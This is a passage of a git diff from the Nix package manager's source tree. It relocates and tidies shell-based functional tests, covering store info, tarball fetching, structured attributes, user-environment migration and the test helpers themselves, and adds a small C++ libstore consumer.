-outPath="$(NIX_REMOTE=local?store=/foo\&real=$TEST_ROOT/real-store nix-instantiate --readonly-mode big-derivation-attr.nix)" +outPath="$(NIX_REMOTE='local?store=/foo&real='"$TEST_ROOT"'/real-store' nix-instantiate --readonly-mode big-derivation-attr.nix)" if test "$outPath" != "/foo/xxiwa5zlaajv6xdjynf9yym9g319d6mn-big-derivation-attr.drv"; then echo "big-derivation-attr.nix hash appears broken, got $outPath. Memory corruption in large drv attr?" exit 1 diff --git a/tests/functional/ssh-relay.sh b/tests/functional/ssh-relay.sh new file mode 100755 index 000000000..71b8ae9ab --- /dev/null +++ b/tests/functional/ssh-relay.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash + +source common.sh + +echo foo > "$TEST_ROOT"/hello.sh + +ssh_localhost=ssh://localhost +remote_store="?remote-store=$ssh_localhost" + +store=$ssh_localhost + +store+=$remote_store +store+=$remote_store +store+=$remote_store + +out=$(nix store add-path --store "$store" "$TEST_ROOT"/hello.sh) + +[ foo = "$(< "$out")" ] diff --git a/tests/functional/store-info.sh b/tests/functional/store-info.sh new file mode 100755 index 000000000..beecc2dd9 --- /dev/null +++ b/tests/functional/store-info.sh @@ -0,0 +1,21 @@ +#!/usr/bin/env bash + +source common.sh + +STORE_INFO=$(nix store info 2>&1) +STORE_INFO_JSON=$(nix store info --json) + +echo "$STORE_INFO" | grep "Store URL: ${NIX_REMOTE}" + +if [[ -v NIX_DAEMON_PACKAGE ]] && isDaemonNewer "2.7.0pre20220126"; then + DAEMON_VERSION=$("$NIX_DAEMON_PACKAGE"/bin/nix daemon --version | cut -d' ' -f3) + echo "$STORE_INFO" | grep "Version: $DAEMON_VERSION" + [[ "$(echo "$STORE_INFO_JSON" | jq -r ".version")" == "$DAEMON_VERSION" ]] +fi + +expect 127 NIX_REMOTE=unix:"$PWD"/store nix store info || \ + fail "nix store info on a non-existent store should fail" + +TODO_NixOS + +[[ "$(echo "$STORE_INFO_JSON" | jq -r ".url")" == "${NIX_REMOTE:-local}" ]] diff --git a/tests/structured-attrs-shell.nix b/tests/functional/structured-attrs-shell.nix similarity index 100% rename from tests/structured-attrs-shell.nix rename to tests/functional/structured-attrs-shell.nix diff --git a/tests/structured-attrs.nix b/tests/functional/structured-attrs.nix similarity index 100% rename from tests/structured-attrs.nix rename to tests/functional/structured-attrs.nix diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh new file mode 100755 index 000000000..64d136e99 --- /dev/null +++ b/tests/functional/structured-attrs.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash + +source common.sh + +# 27ce722638 required some incompatible changes to the nix file, so skip this +# tests for the older versions +requireDaemonNewerThan "2.4pre20210712" + +clearStoreIfPossible + +rm -f "$TEST_ROOT"/result + +nix-build structured-attrs.nix -A all -o "$TEST_ROOT"/result + +[[ $(cat "$TEST_ROOT"/result/foo) = bar ]] +[[ $(cat "$TEST_ROOT"/result-dev/foo) = foo ]] + +export NIX_BUILD_SHELL=$SHELL +# shellcheck disable=SC2016 +env NIX_PATH=nixpkgs=shell.nix nix-shell structured-attrs-shell.nix \ + --run 'test "3" = "$(jq ".my.list|length" < $NIX_ATTRS_JSON_FILE)"' + +# shellcheck disable=SC2016 +nix develop -f structured-attrs-shell.nix -c bash -c 'test "3" = "$(jq ".my.list|length" < $NIX_ATTRS_JSON_FILE)"' + +TODO_NixOS # following line fails. + +# `nix develop` is a slightly special way of dealing with environment vars, it parses +# these from a shell-file exported from a derivation. This is to test especially `outputs` +# (which is an associative array in thsi case) being fine. +# shellcheck disable=SC2016 +nix develop -f structured-attrs-shell.nix -c bash -c 'test -n "$out"' + +nix print-dev-env -f structured-attrs-shell.nix | grepQuiet 'NIX_ATTRS_JSON_FILE=' +nix print-dev-env -f structured-attrs-shell.nix | grepQuiet 'NIX_ATTRS_SH_FILE=' +nix print-dev-env -f shell.nix shellDrv | grepQuietInverse 'NIX_ATTRS_SH_FILE' + +jsonOut="$(nix print-dev-env -f structured-attrs-shell.nix --json)" + +test "$(<<<"$jsonOut" jq '.structuredAttrs|keys|.[]' -r)" = "$(printf ".attrs.json\n.attrs.sh")" + +test "$(<<<"$jsonOut" jq '.variables.outputs.value.out' -r)" = "$(<<<"$jsonOut" jq '.structuredAttrs.".attrs.json"' -r | jq -r '.outputs.out')" diff --git a/tests/substitute-with-invalid-ca.sh b/tests/functional/substitute-with-invalid-ca.sh old mode 100644 new mode 100755 similarity index 82% rename from tests/substitute-with-invalid-ca.sh rename to tests/functional/substitute-with-invalid-ca.sh index 4d0b01e0f..33432e95d --- a/tests/substitute-with-invalid-ca.sh +++ b/tests/functional/substitute-with-invalid-ca.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh BINARY_CACHE=file://$cacheDir @@ -9,16 +11,16 @@ getRemoteNarInfo () { echo "$cacheDir/$(getHash "$1").narinfo" } -cat < $TEST_HOME/good.txt +cat < "$TEST_HOME"/good.txt I’m a good path EOF -cat < $TEST_HOME/bad.txt +cat < "$TEST_HOME"/bad.txt I’m a bad path EOF -good=$(nix-store --add $TEST_HOME/good.txt) -bad=$(nix-store --add $TEST_HOME/bad.txt) +good=$(nix-store --add "$TEST_HOME"/good.txt) +bad=$(nix-store --add "$TEST_HOME"/bad.txt) nix copy --to "$BINARY_CACHE" "$good" nix copy --to "$BINARY_CACHE" "$bad" nix-collect-garbage >/dev/null 2>&1 diff --git a/tests/suggestions.sh b/tests/functional/suggestions.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/suggestions.sh rename to tests/functional/suggestions.sh index f18fefef9..fbca93da8 --- a/tests/suggestions.sh +++ b/tests/functional/suggestions.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible cd "$TEST_HOME" @@ -35,7 +37,7 @@ NIX_BUILD_STDERR_WITH_NO_CLOSE_SUGGESTION=$(! nix build .\#bar 2>&1 1>/dev/null) [[ ! "$NIX_BUILD_STDERR_WITH_NO_CLOSE_SUGGESTION" =~ "Did you mean" ]] || \ fail "The nix build stderr shouldn’t suggest anything if there’s nothing relevant to suggest" -NIX_EVAL_STDERR_WITH_SUGGESTIONS=$(! nix build --impure --expr '(builtins.getFlake (builtins.toPath ./.)).packages.'$system'.fob' 2>&1 1>/dev/null) +NIX_EVAL_STDERR_WITH_SUGGESTIONS=$(! nix build --impure --expr '(builtins.getFlake (builtins.toPath ./.)).packages.'"$system"'.fob' 2>&1 1>/dev/null) [[ "$NIX_EVAL_STDERR_WITH_SUGGESTIONS" =~ "Did you mean one of fo1, fo2, foo or fooo?" ]] || \ fail "The evaluator should suggest the three closest possiblities" diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh new file mode 100755 index 000000000..5d329efc9 --- /dev/null +++ b/tests/functional/supplementary-groups.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env bash + +source common.sh + +requireSandboxSupport +[[ $busybox =~ busybox ]] || skipTest "no busybox" +if ! command -p -v unshare; then skipTest "Need unshare"; fi +needLocalStore "The test uses --store always so we would just be bypassing the daemon" + +TODO_NixOS + +unshare --mount --map-root-user bash < $out + ''; + }; + + test_sandbox_paths = mkDerivation { + # Depends on the caller to set a bunch of `--sandbox-path` arguments + name = "test-sandbox-paths"; + buildCommand = '' + ( + set -x + [[ -f /file ]] + [[ -d /dir ]] + + # /symlink and /symlinkDir should be available as raw symlinks + # (pointing to files outside of the sandbox) + [[ -L /symlink ]] && [[ ! -e $(readlink /symlink) ]] + [[ -L /symlinkDir ]] && [[ ! -e $(readlink /symlinkDir) ]] + ) + + touch $out + ''; + }; +} diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh new file mode 100755 index 000000000..dee0a98f1 --- /dev/null +++ b/tests/functional/tarball.sh @@ -0,0 +1,102 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +rm -rf "$TEST_HOME" + +tarroot=$TEST_ROOT/tarball +rm -rf "$tarroot" +mkdir -p "$tarroot" +cp dependencies.nix "$tarroot/default.nix" +cp config.nix dependencies.builder*.sh "$tarroot/" +touch -d '@1000000000' "$tarroot" "$tarroot"/* + +hash=$(nix hash path "$tarroot") + +test_tarball() { + local ext="$1" + local compressor="$2" + + tarball=$TEST_ROOT/tarball.tar$ext + (cd "$TEST_ROOT" && GNUTAR_REPRODUCIBLE=1 tar --mtime="$tarroot"/default.nix --owner=0 --group=0 --numeric-owner --sort=name -c -f - tarball) | $compressor > "$tarball" + + nix-env -f file://"$tarball" -qa --out-path | grepQuiet dependencies + + nix-build -o "$TEST_ROOT"/result file://"$tarball" + + nix-build -o "$TEST_ROOT"/result '' -I foo=file://"$tarball" + + nix-build -o "$TEST_ROOT"/result -E "import (fetchTarball file://$tarball)" + # Do not re-fetch paths already present + nix-build -o "$TEST_ROOT"/result -E "import (fetchTarball { url = file:///does-not-exist/must-remain-unused/$tarball; sha256 = \"$hash\"; })" + + nix-build -o "$TEST_ROOT"/result -E "import (fetchTree file://$tarball)" + nix-build -o "$TEST_ROOT"/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; })" + nix-build -o "$TEST_ROOT"/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })" + # Do not re-fetch paths already present + nix-build -o "$TEST_ROOT"/result -E "import (fetchTree { type = \"tarball\"; url = file:///does-not-exist/must-remain-unused/$tarball; narHash = \"$hash\"; })" + expectStderr 102 nix-build -o "$TEST_ROOT"/result -E "import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"sha256-xdKv2pq/IiwLSnBBJXW8hNowI4MrdZfW+SYqDQs7Tzc=\"; })" | grep 'NAR hash mismatch in input' + + [[ $(nix eval --impure --expr "(fetchTree file://$tarball).lastModified") = 1000000000 ]] + + nix-instantiate --strict --eval -E "!((import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })) ? submodules)" >&2 + nix-instantiate --strict --eval -E "!((import (fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; })) ? submodules)" 2>&1 | grep 'true' + + nix-instantiate --eval -E '1 + 2' -I fnord=file:///no-such-tarball.tar"$ext" + nix-instantiate --eval -E 'with ; 1 + 2' -I fnord=file:///no-such-tarball"$ext" + (! nix-instantiate --eval -E ' 1' -I fnord=file:///no-such-tarball"$ext") + + nix-instantiate --eval -E '' -I fnord=file:///no-such-tarball"$ext" -I fnord=. + + # Ensure that the `name` attribute isn’t accepted as that would mess + # with the content-addressing + (! nix-instantiate --eval -E "fetchTree { type = \"tarball\"; url = file://$tarball; narHash = \"$hash\"; name = \"foo\"; }") + + store_path=$(nix store prefetch-file --json "file://$tarball" | jq -r .storePath) + if ! cmp -s "$store_path" "$tarball"; then + echo "prefetched tarball differs from original: $store_path vs $tarball" >&2 + exit 1 + fi + store_path2=$(nix store prefetch-file --json --unpack "file://$tarball" | jq -r .storePath) + diff_output=$(diff -r "$store_path2" "$tarroot") + if [ -n "$diff_output" ]; then + echo "prefetched tarball differs from original: $store_path2 vs $tarroot" >&2 + echo "$diff_output" + exit 1 + fi +} + +test_tarball '' cat +test_tarball .xz xz +test_tarball .gz gzip + +# Test hard links. +# All entries in tree.tar.gz refer to the same file, and all have the same inode when unpacked by GNU tar. +# We don't preserve the hard links, because that's an optimization we think is not worth the complexity, +# so we only make sure that the contents are copied correctly. +path="$(nix flake prefetch --json "tarball+file://$(pwd)/tree.tar.gz" | jq -r .storePath)" +[[ $(cat "$path/a/b/foo") = bar ]] +[[ $(cat "$path/a/b/xyzzy") = bar ]] +[[ $(cat "$path/a/yyy") = bar ]] +[[ $(cat "$path/a/zzz") = bar ]] +[[ $(cat "$path/c/aap") = bar ]] +[[ $(cat "$path/fnord") = bar ]] + +# Test a tarball that has multiple top-level directories. +rm -rf "$TEST_ROOT/tar_root" +mkdir -p "$TEST_ROOT/tar_root" "$TEST_ROOT/tar_root/foo" "$TEST_ROOT/tar_root/bar" +tar cvf "$TEST_ROOT/tar.tar" -C "$TEST_ROOT/tar_root" . +path="$(nix flake prefetch --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .storePath)" +[[ -d "$path/foo" ]] +[[ -d "$path/bar" ]] + +# Test a tarball that has a single regular file. +rm -rf "$TEST_ROOT/tar_root" +mkdir -p "$TEST_ROOT/tar_root" +echo bar > "$TEST_ROOT/tar_root/foo" +chmod +x "$TEST_ROOT/tar_root/foo" +tar cvf "$TEST_ROOT/tar.tar" -C "$TEST_ROOT/tar_root" . +path="$(nix flake prefetch --refresh --json "tarball+file://$TEST_ROOT/tar.tar" | jq -r .storePath)" +[[ $(cat "$path/foo") = bar ]] diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh new file mode 100755 index 000000000..2da26b08c --- /dev/null +++ b/tests/functional/test-infra.sh @@ -0,0 +1,122 @@ +#!/usr/bin/env bash + +# Test the functions for testing themselves! +# Also test some assumptions on how bash works that they rely on. +source common.sh + +# `true` should exit with 0 +expect 0 true + +# `false` should exit with 1 +expect 1 false + +# `expect` will fail when we get it wrong +expect 1 expect 0 false + +function ret() { + return "$1" +} + +# `expect` can call functions, not just executables +expect 0 ret 0 +expect 1 ret 1 + +# `expect` supports negative exit codes +expect -1 ret -1 + +# or high positive ones, equivalent to negative ones +expect 255 ret 255 +expect 255 ret -1 +expect -1 ret 255 + +# but it doesn't confuse negative exit codes with positive ones +expect 1 expect -10 ret 10 + +noisyTrue () { + echo YAY! >&2 + true +} + +noisyFalse () { + echo NAY! >&2 + false +} + +# These should redirect standard error to standard output +expectStderr 0 noisyTrue | grepQuiet YAY +expectStderr 1 noisyFalse | grepQuiet NAY + +# `set -o pipefile` is enabled + +# shellcheck disable=SC2317# shellcheck disable=SC2317 +pipefailure () { + # shellcheck disable=SC2216 + true | false | true +} +expect 1 pipefailure +unset pipefailure + +# shellcheck disable=SC2317 +pipefailure () { + # shellcheck disable=SC2216 + false | true | true +} +expect 1 pipefailure +unset pipefailure + +commandSubstitutionPipeFailure () { + # shellcheck disable=SC2216 + res=$(set -eu -o pipefail; false | true | echo 0) +} +expect 1 commandSubstitutionPipeFailure + +# `set -u` is enabled + +# note (...), making function use subshell, as unbound variable errors +# in the outer shell are *rightly* not recoverable. +useUnbound () ( + set -eu + # shellcheck disable=SC2154 + echo "$thisVariableIsNotBound" +) +expect 1 useUnbound + +# ! alone unfortunately negates `set -e`, but it works in functions: +# shellcheck disable=SC2251 +! true +# shellcheck disable=SC2317 +funBang () { + ! true +} +expect 1 funBang +unset funBang + +# callerPrefix can be used by the test framework to improve error messages +# it reports about our call site here +echo "<[$(callerPrefix)]>" | grepQuiet -F "<[test-infra.sh:$LINENO: ]>" + +# `grep -v -q` is not what we want for exit codes, but `grepInverse` is +# Avoid `grep -v -q`. The following line proves the point, and if it fails, +# we'll know that `grep` had a breaking change or `-v -q` may not be portable. +{ echo foo; echo bar; } | grep -v -q foo +{ echo foo; echo bar; } | expect 1 grepInverse foo + +# `grepQuiet` is quiet +res=$(set -eu -o pipefail; echo foo | grepQuiet foo | wc -c) +(( res == 0 )) +unset res + +# `greqQietInverse` is both +{ echo foo; echo bar; } | expect 1 grepQuietInverse foo +res=$(set -eu -o pipefail; echo foo | expect 1 grepQuietInverse foo | wc -c) +(( res == 0 )) +unset res + +# `grepQuiet` does not allow newlines in its arguments, because grep quietly +# treats them as multiple queries. +{ echo foo; echo bar; } | expectStderr -101 grepQuiet $'foo\nbar' \ + | grepQuiet -E 'test-infra\.sh:[0-9]+: in call to grepQuiet: newline not allowed in arguments; grep would try each line individually as if connected by an OR operator' + +# We took the blue pill and woke up in a world where `grep` is moderately safe. +expectStderr -101 grep $'foo\nbar' \ + | grepQuiet -E 'test-infra\.sh:[0-9]+: in call to grep: newline not allowed in arguments; grep would try each line individually as if connected by an OR operator' diff --git a/tests/functional/test-libstoreconsumer.sh b/tests/functional/test-libstoreconsumer.sh new file mode 100755 index 000000000..2adead1c0 --- /dev/null +++ b/tests/functional/test-libstoreconsumer.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash + +source common.sh + +drv="$(nix-instantiate simple.nix)" +cat "$drv" +out="$(./test-libstoreconsumer/test-libstoreconsumer "$drv")" +grep -F "Hello World!" < "$out/hello" diff --git a/tests/functional/test-libstoreconsumer/README.md b/tests/functional/test-libstoreconsumer/README.md new file mode 100644 index 000000000..ded69850f --- /dev/null +++ b/tests/functional/test-libstoreconsumer/README.md @@ -0,0 +1,6 @@ + +A very simple C++ consumer of the libstore library. + + - Keep it simple. Library consumers expect something simple. + - No build hook, or any other reinvocations. + - No more global state than necessary. diff --git a/tests/functional/test-libstoreconsumer/local.mk b/tests/functional/test-libstoreconsumer/local.mk new file mode 100644 index 000000000..3e8581c57 --- /dev/null +++ b/tests/functional/test-libstoreconsumer/local.mk @@ -0,0 +1,15 @@ +programs += test-libstoreconsumer + +test-libstoreconsumer_DIR := $(d) + +# do not install +test-libstoreconsumer_INSTALL_DIR := + +test-libstoreconsumer_SOURCES := \ + $(wildcard $(d)/*.cc) \ + +test-libstoreconsumer_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) + +test-libstoreconsumer_LIBS = libstore libutil + +test-libstoreconsumer_LDFLAGS = $(THREAD_LDFLAGS) $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS) diff --git a/tests/functional/test-libstoreconsumer/main.cc b/tests/functional/test-libstoreconsumer/main.cc new file mode 100644 index 000000000..c61489af6 --- /dev/null +++ b/tests/functional/test-libstoreconsumer/main.cc @@ -0,0 +1,45 @@ +#include "globals.hh" +#include "store-api.hh" +#include "build-result.hh" +#include + +using namespace nix; + +int main (int argc, char **argv) +{ + try { + if (argc != 2) { + std::cerr << "Usage: " << argv[0] << " store/path/to/something.drv\n"; + return 1; + } + + std::string drvPath = argv[1]; + + initLibStore(); + + auto store = nix::openStore(); + + // build the derivation + + std::vector paths { + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(store->parseStorePath(drvPath)), + .outputs = OutputsSpec::Names{"out"} + } + }; + + const auto results = store->buildPathsWithResults(paths, bmNormal, store); + + for (const auto & result : results) { + for (const auto & [outputName, realisation] : result.builtOutputs) { + std::cout << store->printStorePath(realisation.outPath) << "\n"; + } + } + + return 0; + + } catch (const std::exception & e) { + std::cerr << "Error: " << e.what() << "\n"; + return 1; + } +} diff --git a/tests/functional/test-libstoreconsumer/meson.build b/tests/functional/test-libstoreconsumer/meson.build new file mode 100644 index 000000000..7076127f7 --- /dev/null +++ b/tests/functional/test-libstoreconsumer/meson.build @@ -0,0 +1,14 @@ +libstoreconsumer_tester = executable( + 'test-libstoreconsumer', + 'main.cc', + cpp_args : [ + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + ], + dependencies : [ + dependency('nix-store'), + ], + build_by_default : false, +) diff --git a/tests/timeout.nix b/tests/functional/timeout.nix similarity index 100% rename from tests/timeout.nix rename to tests/functional/timeout.nix diff --git a/tests/timeout.sh b/tests/functional/timeout.sh old mode 100644 new mode 100755 similarity index 78% rename from tests/timeout.sh rename to tests/functional/timeout.sh index e3fb3ebcc..ae47fdc96 --- a/tests/timeout.sh +++ b/tests/functional/timeout.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test the `--timeout' option. source common.sh @@ -5,17 +7,18 @@ source common.sh # XXX: This shouldn’t be, but #4813 cause this test to fail needLocalStore "see #4813" -set +e -messages=$(nix-build -Q timeout.nix -A infiniteLoop --timeout 2 2>&1) -status=$? -set -e +messages=$(nix-build -Q timeout.nix -A infiniteLoop --timeout 2 2>&1) && status=0 || status=$? -if [ $status -ne 101 ]; then +if [ "$status" -ne 101 ]; then echo "error: 'nix-store' exited with '$status'; should have exited 101" + + # FIXME: https://github.com/NixOS/nix/issues/4813 + skipTest "Do not block CI until fixed" + exit 1 fi -if ! echo "$messages" | grep -q "timed out"; then +if echo "$messages" | grepQuietInvert "timed out"; then echo "error: build may have failed for reasons other than timeout; output:" echo "$messages" >&2 exit 1 diff --git a/tests/toString-path.sh b/tests/functional/toString-path.sh old mode 100644 new mode 100755 similarity index 95% rename from tests/toString-path.sh rename to tests/functional/toString-path.sh index 07eb87465..d790109f4 --- a/tests/toString-path.sh +++ b/tests/functional/toString-path.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh mkdir -p $TEST_ROOT/foo diff --git a/tests/functional/tree.tar.gz b/tests/functional/tree.tar.gz new file mode 100644 index 000000000..f1f1d996d Binary files /dev/null and b/tests/functional/tree.tar.gz differ diff --git a/tests/undefined-variable.nix b/tests/functional/undefined-variable.nix similarity index 100% rename from tests/undefined-variable.nix rename to tests/functional/undefined-variable.nix diff --git a/tests/functional/user-envs-migration.sh b/tests/functional/user-envs-migration.sh new file mode 100755 index 000000000..0f33074e1 --- /dev/null +++ b/tests/functional/user-envs-migration.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash + +# Test that the migration of user environments +# (https://github.com/NixOS/nix/pull/5226) does preserve everything + +source common.sh + +if isDaemonNewer "2.4pre20211005"; then + skipTest "Daemon is too new" +fi + + +killDaemon +unset NIX_REMOTE + +TODO_NixOS + +clearStore +clearProfiles +rm -rf ~/.nix-profile + +# Fill the environment using the older Nix +PATH_WITH_NEW_NIX="$PATH" +export PATH="$NIX_DAEMON_PACKAGE/bin:$PATH" + +nix-env -f user-envs.nix -i foo-1.0 +nix-env -f user-envs.nix -i bar-0.1 + +# Migrate to the new profile dir, and ensure that everything’s there +export PATH="$PATH_WITH_NEW_NIX" +nix-env -q # Trigger the migration +( [[ -L ~/.nix-profile ]] && \ + [[ $(readlink ~/.nix-profile) == ~/.local/share/nix/profiles/profile ]] ) || \ + fail "The nix profile should point to the new location" + +(nix-env -q | grep foo && nix-env -q | grep bar && \ + [[ -e ~/.nix-profile/bin/foo ]] && \ + [[ $(nix-env --list-generations | wc -l) == 2 ]]) || + fail "The nix profile should have the same content as before the migration" diff --git a/tests/user-envs.sh b/tests/functional/user-envs-test-case.sh similarity index 76% rename from tests/user-envs.sh rename to tests/functional/user-envs-test-case.sh index d63fe780a..117c6c7a4 100644 --- a/tests/user-envs.sh +++ b/tests/functional/user-envs-test-case.sh @@ -1,9 +1,3 @@ -source common.sh - -if [ -z "$storeCleared" ]; then - clearStore -fi - clearProfiles # Query installed: should be empty. @@ -17,6 +11,8 @@ outPath10=$(nix-env -f ./user-envs.nix -qa --out-path --no-name '*' | grep foo-1 drvPath10=$(nix-env -f ./user-envs.nix -qa --drv-path --no-name '*' | grep foo-1.0) [ -n "$outPath10" -a -n "$drvPath10" ] +TODO_NixOS + # Query with json nix-env -f ./user-envs.nix -qa --json | jq -e '.[] | select(.name == "bar-0.1") | [ .outputName == "out", @@ -26,15 +22,16 @@ nix-env -f ./user-envs.nix -qa --json --out-path | jq -e '.[] | select(.name == .outputName == "out", (.outputs.out | test("'$NIX_STORE_DIR'.*-0\\.1")) ] | all' +nix-env -f ./user-envs.nix -qa --json --drv-path | jq -e '.[] | select(.name == "bar-0.1") | (.drvPath | test("'$NIX_STORE_DIR'.*-0\\.1\\.drv"))' # Query descriptions. -nix-env -f ./user-envs.nix -qa '*' --description | grep -q silly +nix-env -f ./user-envs.nix -qa '*' --description | grepQuiet silly rm -rf $HOME/.nix-defexpr ln -s $(pwd)/user-envs.nix $HOME/.nix-defexpr -nix-env -qa '*' --description | grep -q silly +nix-env -qa '*' --description | grepQuiet silly # Query the system. -nix-env -qa '*' --system | grep -q $system +nix-env -qa '*' --system | grepQuiet $system # Install "foo-1.0". nix-env -i foo-1.0 @@ -42,19 +39,19 @@ nix-env -i foo-1.0 # Query installed: should contain foo-1.0 now (which should be # executable). test "$(nix-env -q '*' | wc -l)" -eq 1 -nix-env -q '*' | grep -q foo-1.0 +nix-env -q '*' | grepQuiet foo-1.0 test "$($profiles/test/bin/foo)" = "foo-1.0" # Test nix-env -qc to compare installed against available packages, and vice versa. -nix-env -qc '*' | grep -q '< 2.0' -nix-env -qac '*' | grep -q '> 1.0' +nix-env -qc '*' | grepQuiet '< 2.0' +nix-env -qac '*' | grepQuiet '> 1.0' # Test the -b flag to filter out source-only packages. [ "$(nix-env -qab | wc -l)" -eq 1 ] # Test the -s flag to get package status. -nix-env -qas | grep -q 'IP- foo-1.0' -nix-env -qas | grep -q -- '--- bar-0.1' +nix-env -qas | grepQuiet 'IP- foo-1.0' +nix-env -qas | grepQuiet -- '--- bar-0.1' # Disable foo. nix-env --set-flag active false foo @@ -74,15 +71,15 @@ nix-env -i foo-2.0pre1 # Query installed: should contain foo-2.0pre1 now. test "$(nix-env -q '*' | wc -l)" -eq 1 -nix-env -q '*' | grep -q foo-2.0pre1 +nix-env -q '*' | grepQuiet foo-2.0pre1 test "$($profiles/test/bin/foo)" = "foo-2.0pre1" # Upgrade "foo": should install foo-2.0. -NIX_PATH=nixpkgs=./user-envs.nix:$NIX_PATH nix-env -f '' -u foo +NIX_PATH=nixpkgs=./user-envs.nix:${NIX_PATH-} nix-env -f '' -u foo # Query installed: should contain foo-2.0 now. test "$(nix-env -q '*' | wc -l)" -eq 1 -nix-env -q '*' | grep -q foo-2.0 +nix-env -q '*' | grepQuiet foo-2.0 test "$($profiles/test/bin/foo)" = "foo-2.0" # Store the path of foo-2.0. @@ -94,20 +91,20 @@ nix-env -i bar-0.1 nix-env -e foo # Query installed: should only contain bar-0.1 now. -if nix-env -q '*' | grep -q foo; then false; fi -nix-env -q '*' | grep -q bar +if nix-env -q '*' | grepQuiet foo; then false; fi +nix-env -q '*' | grepQuiet bar # Rollback: should bring "foo" back. oldGen="$(nix-store -q --resolve $profiles/test)" nix-env --rollback [ "$(nix-store -q --resolve $profiles/test)" != "$oldGen" ] -nix-env -q '*' | grep -q foo-2.0 -nix-env -q '*' | grep -q bar +nix-env -q '*' | grepQuiet foo-2.0 +nix-env -q '*' | grepQuiet bar # Rollback again: should remove "bar". nix-env --rollback -nix-env -q '*' | grep -q foo-2.0 -if nix-env -q '*' | grep -q bar; then false; fi +nix-env -q '*' | grepQuiet foo-2.0 +if nix-env -q '*' | grepQuiet bar; then false; fi # Count generations. nix-env --list-generations @@ -129,7 +126,7 @@ nix-env --switch-generation 7 # Install foo-1.0, now using its store path. nix-env -i "$outPath10" -nix-env -q '*' | grep -q foo-1.0 +nix-env -q '*' | grepQuiet foo-1.0 nix-store -qR $profiles/test | grep "$outPath10" nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve $profiles/test)" [ "$(nix-store -q --deriver "$outPath10")" = $drvPath10 ] @@ -137,12 +134,12 @@ nix-store -q --referrers-closure $profiles/test | grep "$(nix-store -q --resolve # Uninstall foo-1.0, using a symlink to its store path. ln -sfn $outPath10/bin/foo $TEST_ROOT/symlink nix-env -e $TEST_ROOT/symlink -if nix-env -q '*' | grep -q foo; then false; fi -(! nix-store -qR $profiles/test | grep "$outPath10") +if nix-env -q '*' | grepQuiet foo; then false; fi +nix-store -qR $profiles/test | grepInverse "$outPath10" # Install foo-1.0, now using a symlink to its store path. nix-env -i $TEST_ROOT/symlink -nix-env -q '*' | grep -q foo +nix-env -q '*' | grepQuiet foo # Delete all old generations. nix-env --delete-generations old @@ -160,7 +157,7 @@ test "$(nix-env -q '*' | wc -l)" -eq 0 # Installing "foo" should only install the newest foo. nix-env -i foo test "$(nix-env -q '*' | grep foo- | wc -l)" -eq 1 -nix-env -q '*' | grep -q foo-2.0 +nix-env -q '*' | grepQuiet foo-2.0 # On the other hand, this should install both (and should fail due to # a collision). @@ -171,8 +168,8 @@ nix-env -e '*' nix-env -e '*' nix-env -i '*' test "$(nix-env -q '*' | wc -l)" -eq 2 -nix-env -q '*' | grep -q foo-2.0 -nix-env -q '*' | grep -q bar-0.1.1 +nix-env -q '*' | grepQuiet foo-2.0 +nix-env -q '*' | grepQuiet bar-0.1.1 # Test priorities: foo-0.1 has a lower priority than foo-1.0, so it # should be possible to install both without a collision. Also test @@ -188,3 +185,9 @@ nix-env --set $outPath10 [ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] nix-env --set $drvPath10 [ "$(nix-store -q --resolve $profiles/test)" = $outPath10 ] + +# Test the case where $HOME contains a symlink. +mkdir -p $TEST_ROOT/real-home/alice/.nix-defexpr/channels +ln -sfn $TEST_ROOT/real-home $TEST_ROOT/home +ln -sfn $(pwd)/user-envs.nix $TEST_ROOT/home/alice/.nix-defexpr/channels/foo +HOME=$TEST_ROOT/home/alice nix-env -i foo-0.1 diff --git a/tests/user-envs.builder.sh b/tests/functional/user-envs.builder.sh similarity index 100% rename from tests/user-envs.builder.sh rename to tests/functional/user-envs.builder.sh diff --git a/tests/user-envs.nix b/tests/functional/user-envs.nix similarity index 100% rename from tests/user-envs.nix rename to tests/functional/user-envs.nix diff --git a/tests/functional/user-envs.sh b/tests/functional/user-envs.sh new file mode 100755 index 000000000..ec9d036f8 --- /dev/null +++ b/tests/functional/user-envs.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash + +source ./common.sh + +source ./user-envs-test-case.sh diff --git a/tests/functional/why-depends.sh b/tests/functional/why-depends.sh new file mode 100755 index 000000000..ce53546d8 --- /dev/null +++ b/tests/functional/why-depends.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +cp ./dependencies.nix ./dependencies.builder0.sh ./config.nix $TEST_HOME + +cd $TEST_HOME + +nix why-depends --derivation --file ./dependencies.nix input2_drv input1_drv +nix why-depends --file ./dependencies.nix input2_drv input1_drv + +nix-build ./dependencies.nix -A input0_drv -o dep +nix-build ./dependencies.nix -o 